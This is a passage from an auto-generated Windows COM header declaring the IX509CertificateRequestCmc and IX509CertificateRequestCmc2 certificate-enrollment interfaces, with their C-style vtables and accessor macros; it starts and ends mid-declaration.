\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificates **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRequestCmcVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRequestCmc * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRequestCmc * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRequestCmc * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRequestCmc * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRequestCmc * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetInnerRequest )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out X509RequestType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ClientId )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ RequestClientInfoClientId Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ VARIANT_BOOL RenewalRequest,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromInnerRequest )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pInnerRequest);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RequesterName )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_RequesterName )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignerCertificate )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificate **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_SignerCertificate )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in_opt ISignerCertificate *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromInnerRequestTemplateName )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pInnerRequest,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TemplateObjectId )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NullSigned )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CryptAttributes )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttributes **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NameValuePairs )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509NameValuePairs **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509Extensions )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CriticalExtensions )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressOids )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TransactionId )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_TransactionId )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SenderNonce )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SenderNonce )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignatureInformation )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ArchivePrivateKey )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ArchivePrivateKey )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyArchivalCertificate )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyArchivalCertificate )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptionAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_EncryptionAlgorithm )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptionStrength )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_EncryptionStrength )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptedKeyHash )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignerCertificates )( \n            __RPC__in IX509CertificateRequestCmc * This,\n            /* [retval][out] */ __RPC__deref_out_opt ISignerCertificates **ppValue);\n        \n        END_INTERFACE\n    } IX509CertificateRequestCmcVtbl;\n\n    interface IX509CertificateRequestCmc\n    {\n        CONST_VTBL struct IX509CertificateRequestCmcVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRequestCmc_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRequestCmc_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRequestCmc_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRequestCmc_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRequestCmc_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRequestCmc_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRequestCmc_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRequestCmc_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509CertificateRequestCmc_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRequestCmc_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRequestCmc_GetInnerRequest(This,Level,ppValue)\t\\\n    ( (This)->lpVtbl -> GetInnerRequest(This,Level,ppValue) ) \n\n#define IX509CertificateRequestCmc_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IX509CertificateRequestCmc_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509CertificateRequestCmc_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509CertificateRequestCmc_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509CertificateRequestCmc_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509CertificateRequestCmc_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509CertificateRequestCmc_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509CertificateRequestCmc_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509CertificateRequestCmc_get_SuppressDefaults(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressDefaults(This,pValue) ) \n\n#define IX509CertificateRequestCmc_put_SuppressDefaults(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SuppressDefaults(This,Value) ) \n\n#define IX509CertificateRequestCmc_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCmc_put_RenewalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_RenewalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestCmc_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509CertificateRequestCmc_put_ClientId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClientId(This,Value) ) \n\n#define IX509CertificateRequestCmc_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509CertificateRequestCmc_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestCmc_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestCmc_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRequestCmc_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509CertificateRequestCmc_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509CertificateRequestCmc_InitializeFromCertificate(This,Context,RenewalRequest,strCertificate,Encoding,InheritOptions)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,Context,RenewalRequest,strCertificate,Encoding,InheritOptions) ) \n\n#define IX509CertificateRequestCmc_InitializeFromInnerRequest(This,pInnerRequest)\t\\\n    ( (This)->lpVtbl -> InitializeFromInnerRequest(This,pInnerRequest) ) \n\n#define IX509CertificateRequestCmc_InitializeDecode(This,strEncodedData,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,strEncodedData,Encoding) ) \n\n#define IX509CertificateRequestCmc_get_RequesterName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_RequesterName(This,pValue) ) \n\n#define IX509CertificateRequestCmc_put_RequesterName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_RequesterName(This,Value) ) \n\n#define IX509CertificateRequestCmc_get_SignerCertificate(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignerCertificate(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_put_SignerCertificate(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_SignerCertificate(This,pValue) ) \n\n\n#define IX509CertificateRequestCmc_InitializeFromInnerRequestTemplateName(This,pInnerRequest,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromInnerRequestTemplateName(This,pInnerRequest,strTemplateName) ) \n\n#define IX509CertificateRequestCmc_get_TemplateObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_TemplateObjectId(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_get_NullSigned(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NullSigned(This,pValue) ) \n\n#define IX509CertificateRequestCmc_get_CryptAttributes(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CryptAttributes(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_get_NameValuePairs(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_NameValuePairs(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_get_X509Extensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509Extensions(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_get_CriticalExtensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CriticalExtensions(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_get_SuppressOids(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressOids(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_get_TransactionId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_TransactionId(This,pValue) ) \n\n#define IX509CertificateRequestCmc_put_TransactionId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_TransactionId(This,Value) ) \n\n#define IX509CertificateRequestCmc_get_SenderNonce(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_SenderNonce(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCmc_put_SenderNonce(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_SenderNonce(This,Encoding,Value) ) \n\n#define IX509CertificateRequestCmc_get_SignatureInformation(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignatureInformation(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_get_ArchivePrivateKey(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ArchivePrivateKey(This,pValue) ) \n\n#define IX509CertificateRequestCmc_put_ArchivePrivateKey(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ArchivePrivateKey(This,Value) ) \n\n#define IX509CertificateRequestCmc_get_KeyArchivalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyArchivalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCmc_put_KeyArchivalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyArchivalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestCmc_get_EncryptionAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptionAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestCmc_put_EncryptionAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_EncryptionAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestCmc_get_EncryptionStrength(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptionStrength(This,pValue) ) \n\n#define IX509CertificateRequestCmc_put_EncryptionStrength(This,Value)\t\\\n    ( (This)->lpVtbl -> put_EncryptionStrength(This,Value) ) \n\n#define IX509CertificateRequestCmc_get_EncryptedKeyHash(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptedKeyHash(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCmc_get_SignerCertificates(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignerCertificates(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRequestCmc_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509CertificateRequestCmc2_INTERFACE_DEFINED__\n#define __IX509CertificateRequestCmc2_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRequestCmc2 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRequestCmc2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab35d-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRequestCmc2 : public IX509CertificateRequestCmc\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromTemplate( \n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromInnerRequestTemplate( \n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pInnerRequest,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PolicyServer( \n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Template( \n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE CheckSignature( \n            /* [defaultvalue][in] */ Pkcs10AllowedSignatureTypes AllowedSignatureTypes = AllowedKeySignature) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE CheckCertificateSignature( \n            /* [in] */ __RPC__in_opt ISignerCertificate *pSignerCertificate,\n            /* [in] */ VARIANT_BOOL ValidateCertificateChain) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRequestCmc2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRequestCmc2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRequestCmc2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRequestCmc2 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRequestCmc2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRequestCmc2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetInnerRequest )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* [retval][out] */ __RPC__out X509RequestType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509CertificateRequestCmc2 * This,\n            /* 